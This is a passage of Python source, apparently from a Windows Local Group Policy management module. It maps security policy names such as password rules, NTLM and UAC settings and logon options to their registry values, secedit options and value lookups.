            0: 'Classic - local users authenticate as themselves',
            1: 'Guest only - local users authenticate as Guest',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.force_key_protection = {
            0: 'User input is not required when new keys are stored and used',
            1: 'User is prompted when the key is first used',
            2: 'User must enter a password each time they use a key',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.krb_encryption_types = {
            0: 'No minimum',
            1: 'DES_CBC_CRC',
            2: 'DES_CBD_MD5',
            4: 'RC4_MHAC_MD5',
            8: 'AES128_HMAC_SHA1',
            16: 'AES256_HMAC_SHA1',
            2147483616: 'Future Encryption Types',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.lm_compat_levels = {
            0: 'Send LM & NTLM response',
            1: 'Send LM & NTLM - use NTLMv2 session security if negotiated',
            2: 'Send NTLM response only',
            3: 'Send NTLMv2 response only',
            4: 'Send NTLMv2 response only. Refuse LM',
            5: 'Send NTLMv2 response only. Refuse LM & NTLM',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ldap_signing_reqs = {
            0: 'None',
            1: 'Negotiate signing',
            2: 'Require signing',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ntlm_session_security_levels = {
            0: 'No minimum',
            524288: 'Require NTLMv2 session security',
            536870912: 'Require 128-bit encryption',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ntlm_audit_settings = {
            0: 'Disable',
            1: 'Enable auditing for domain accounts',
            2: 'Enable auditing for all accounts',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.ntlm_domain_audit_settings = {
            0: 'Disable',
            1: 'Enable for domain accounts to domain servers',
            3: 'Enable for domain accounts',
            5: 'Enable for domain servers',
            7: 'Enable all',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.incoming_ntlm_settings = {
            0: 'Allow all',
            1: 'Deny all domain accounts',
            2: 'Deny all accounts',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.ntlm_domain_auth_settings = {
            0: 'Disable',
            1: 'Deny for domain accounts to domain servers',
            3: 'Deny for domain accounts',
            5: 'Deny for domain servers',
            7: 'Deny all',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.outgoing_ntlm_settings = {
            0: 'Allow all',
            1: 'Audit all',
            2: 'Deny all',
            None: 'Not Defined',
            '(value not set)': 'Not Defined'
        }
        self.enabled_one_disabled_zero_no_not_defined = {
            0: 'Disabled',
            1: 'Enabled',
        }
        self.enabled_one_disabled_zero_no_not_defined_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.enabled_one_disabled_zero_no_not_defined,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.enabled_one_disabled_zero_no_not_defined,
                'value_lookup': True,
            },
        }
        self.policies = {
            'Machine': {
                'lgpo_section': 'Computer Configuration',
                'policies': {
                    'StartupScripts': {
                        'Policy': 'Startup Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Startup'],
                        'ScriptIni': {
                            'Section': 'Startup',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'scripts.ini'),
                        },
                    },
                    'StartupPowershellScripts': {
                        'Policy': 'Startup Powershell Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Startup'],
                        'ScriptIni': {
                            'Section': 'Startup',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                        },
                    },
                    'StartupPowershellScriptOrder': {
                        'Policy': 'Startup - For this GPO, run scripts in the '
                                  'following order',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Startup'],
                        'ScriptIni': {
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                            'Section': 'ScriptsConfig',
                            'SettingName': 'StartExecutePSFirst',
                            'Settings': ['true', 'false', None],
                        },
                        'Transform': {
                            'Get': '_powershell_script_order_conversion',
                            'Put': '_powershell_script_order_reverse_conversion',
                        },
                    },
                    'ShutdownScripts': {
                        'Policy': 'Shutdown Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Shutdown'],
                        'ScriptIni': {
                            'Section': 'Shutdown',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'scripts.ini'),
                        },
                    },
                    'ShutdownPowershellScripts': {
                        'Policy': 'Shutdown Powershell Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Shutdown'],
                        'ScriptIni': {
                            'Section': 'Shutdown',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                        },
                    },
                    'ShutdownPowershellScriptOrder': {
                        'Policy': 'Shutdown - For this GPO, run scripts in the '
                                  'following order',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Shutdown'],
                        'ScriptIni': {
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                            'Section': 'ScriptsConfig',
                            'SettingName': 'EndExecutePSFirst',
                            'Settings': ['true', 'false', None],
                        },
                        'Transform': {
                            'Get': '_powershell_script_order_conversion',
                            'Put': '_powershell_script_order_reverse_conversion',
                        },
                    },
                    'LSAAnonymousNameLookup': {
                        'Policy': 'Network access: Allow anonymous SID/Name '
                                  'translation',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'LSAAnonymousNameLookup',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'RestrictAnonymousSam': {
                        'Policy': 'Network access: Do not allow anonymous '
                                  'enumeration of SAM accounts',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'RestrictAnonymousSam',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'RestrictAnonymous': {
                        'Policy': 'Network access: Do not allow anonymous '
                                  'enumeration of SAM accounts and shares',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'RestrictAnonymous',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'DisableDomainCreds': {
                        'Policy': 'Network access: Do not allow storage of '
                                  'passwords and credentials for network '
                                  'authentication',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'DisableDomainCreds',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EveryoneIncludesAnonymous': {
                        'Policy': 'Network access: Let Everyone permissions '
                                  'apply to anonymous users',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'everyoneincludesanonymous',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'NullSessionPipes': {
                        'Policy': 'Network access: Named Pipes that can be '
                                  'accessed anonymously',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'NullSessionPipes',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'RemoteRegistryExactPaths': {
                        'Policy': 'Network access: Remotely accessible '
                                  'registry paths',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\'
                                    'SecurePipeServers\\winreg\\'
                                    'AllowedExactPaths',
                            'Value': 'Machine',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'RemoteRegistryPaths': {
                        'Policy': 'Network access: Remotely accessible '
                                  'registry paths and sub-paths',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\'
                                    'SecurePipeServers\\winreg\\AllowedPaths',
                            'Value': 'Machine',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'RestrictNullSessAccess': {
                        'Policy': 'Network access: Restrict anonymous access '
                                  'to Named Pipes and Shares',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'RestrictNullSessAccess',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'NullSessionShares': {
                        'Policy': 'Network access: Shares that can be accessed '
                                  'anonymously',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'NullSessionShares',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'ForceGuest': {
                        'Policy': 'Network access: Sharing and security model '
                                  'for local accounts',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.force_guest.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'ForceGuest',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.force_guest,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.force_guest,
                                'value_lookup': True,
                            },
                        },
                    },
                    'PasswordHistory': {
                        'Policy': 'Enforce password history',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 24}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'password_hist_len'
                        },
                    },
                    'MaxPasswordAge': {
                        'Policy': 'Maximum password age',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 1,
                                     'max': 86313600,
                                     'zero_value': 0xffffffff}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'max_passwd_age',
                        },
                        'Transform': {
                            'Get': '_seconds_to_days',
                            'Put': '_days_to_seconds',
                            'GetArgs': {'zero_value': 0xffffffff},
                            'PutArgs': {'zero_value': 0xffffffff}
                        },
                    },
                    'MinPasswordAge': {
                        'Policy': 'Minimum password age',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 86313600}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'min_passwd_age',
                        },
                        'Transform': {
                            'Get': '_seconds_to_days',
                            'Put': '_days_to_seconds'
                        },
                    },
                    'MinPasswordLen': {
                        'Policy': 'Minimum password length',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 14}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'min_passwd_len',
                        },
                    },
                    'PasswordComplexity': {
                        'Policy': 'Password must meet complexity requirements',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'PasswordComplexity',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'ClearTextPasswords': {
                        'Policy': 'Store passwords using reversible encryption',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'ClearTextPassword',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'AdminAccountStatus': {
                        'Policy': 'Accounts: Administrator account status',
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'EnableAdminAccount',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'NoConnectedUser': {
                        'Policy': 'Accounts: Block Microsoft accounts',
                        'Settings': self.block_ms_accounts.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'NoConnectedUser',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.block_ms_accounts,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.block_ms_accounts,
                                'value_lookup': True,
                            },
                        },
                    },
                    'GuestAccountStatus': {
                        'Policy': 'Accounts: Guest account status',
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'EnableGuestAccount',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'LimitBlankPasswordUse': {
                        'Policy': 'Accounts: Limit local account use of blank '
                                  'passwords to console logon only',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'limitblankpassworduse',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'RenameAdministratorAccount': {
                        'Policy': 'Accounts: Rename administrator account',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'NewAdministratorName',
                            'Section': 'System Access',
                        },
                        'Transform': {
                            'Get': '_strip_quotes',
                            'Put': '_add_quotes',
                        },
                    },
                    'RenameGuestAccount': {
                        'Policy': 'Accounts: Rename guest account',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'NewGuestName',
                            'Section': 'System Access',
                        },
                        'Transform': {
                            'Get': '_strip_quotes',
                            'Put': '_add_quotes',
                        },
                    },
                    'AuditBaseObjects': {
                        'Policy': 'Audit: Audit the access of global system '
                                  'objects',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'AuditBaseObjects',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform
                    },
                    'SceNoApplyLegacyAuditPolicy': {
                        'Policy': 'Audit: Force audit policy subcategory '
                                  'settings (Windows Vista or later) to '
                                  'override audit policy category settings',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'AuditBaseObjects',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform
                    },
                    'DontDisplayLastUserName': {
                        'Policy': 'Interactive logon: Do not display last user '
                                  'name',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'DontDisplayLastUserName',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'CachedLogonsCount': {
                        'Policy': 'Interactive logon: Number of previous '
                                  'logons to cache (in case domain controller '
                                  'is not available)',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 50}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'CachedLogonsCount',
                            'Type': 'REG_SZ',
                        },
                    },
                    'ForceUnlockLogon': {
                        'Policy': 'Interactive logon: Require Domain '
                                  'Controller authentication to unlock '
                                  'workstation',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'ForceUnlockLogon',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ScRemoveOption': {
                        'Policy': 'Interactive logon: Smart card removal '
                                  'behavior',
                        'Settings': self.sc_removal_lookup.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'ScRemoveOption',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.sc_removal_lookup,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.sc_removal_lookup,
                                'value_lookup': True,
                            },
                        },
                    },
                    'DisableCAD': {
                        'Policy': 'Interactive logon: Do not require '
                                  'CTRL+ALT+DEL',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'DisableCAD',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'FilterAdministratorToken': {
                        'Policy': 'User Account Control: Admin Approval Mode '
                                  'for the built-in Administrator account',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'FilterAdministratorToken',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableUIADesktopToggle': {
                        'Policy': 'User Account Control: Allow UIAccess '
                                  'applications to prompt for elevation '
                                  'without using the secure desktop',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableUIADesktopToggle',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ConsentPromptBehaviorAdmin': {
                        'Policy': 'User Account Control: Behavior of the '
                                  'elevation prompt for administrators in '
                                  'Admin Approval Mode',
                        'Settings': self.uac_admin_prompt_lookup.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ConsentPromptBehaviorAdmin',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.uac_admin_prompt_lookup,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.uac_admin_prompt_lookup,
                                'value_lookup': True,
                            },
                        },
                    },
                    'ConsentPromptBehaviorUser': {
                        'Policy': 'User Account Control: Behavior of the '
                                  'elevation prompt for standard users',
                        'Settings': self.uac_user_prompt_lookup.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ConsentPromptBehaviorUser',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.uac_user_prompt_lookup,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.uac_user_prompt_lookup,
                                'value_lookup': True,
                            },
                        },
                    },
                    'EnableInstallerDetection': {
                        'Policy': 'User Account Control: Detect application '
                                  'installations and prompt for elevation',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableInstallerDetection',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ValidateAdminCodeSignatures': {
                        'Policy': 'User Account Control: Only elevate '
                                  'executables that are signed and validated',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ValidateAdminCodeSignatures',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableSecureUIAPaths': {
                        'Policy': 'User Account Control: Only elevate UIAccess '
                                  'applications that are installed in secure '
                                  'locations',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableSecureUIAPaths',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableLUA': {
                        'Policy': 'User Account Control: Run all '
                                  'administrators in Admin Approval Mode',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableLUA',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'PromptOnSecureDesktop': {
                        'Policy': 'User Account Control: Switch to the secure '
                                  'desktop when prompting for elevation',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'PromptOnSecureDesktop',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableVirtualization': {
                        'Policy': 'User Account Control: Virtualize file and '
                                  'registry write failures to per-user '
                                  'locations',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableVirtualization',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'PasswordExpiryWarning': {
                        'Policy': 'Interactive logon: Prompt user to change '
                                  'password before expiration',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'PasswordExpiryWarning',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'MaxDevicePasswordFailedAttempts': {
                        'Policy': 'Interactive logon: Machine account lockout '
                                  'threshold',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'MaxDevicePasswordFailedAttempts',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'InactivityTimeoutSecs': {
                        'Policy': 'Interactive logon: Machine inactivity limit',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 599940}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'InactivityTimeoutSecs',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'legalnoticetext': {
                        'Policy': 'Interactive logon: Message text for users '
                                  'attempting to log on',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'legalnoticetext',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'legalnoticecaption': {
                        'Policy': 'Interactive logon: Message title for users '
                                  'attempting to log on',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'legalnoticecaption',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'DontDisplayLockedUserId': {
                        'Policy': 'Interactive logon: Display user information '
                                  'when the session is locked',
                        'Settings': self.locked_session_user_info.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'DontDisplayLockedUserId',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.locked_session_user_info,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.locked_session_user_info,
                                'value_lookup': True,
                            },
                        }
                    },
                    'ScForceOption': {
                        'Policy': 'Interactive logon: Require smart card',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ScForceOption',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'Client_RequireSecuritySignature': {
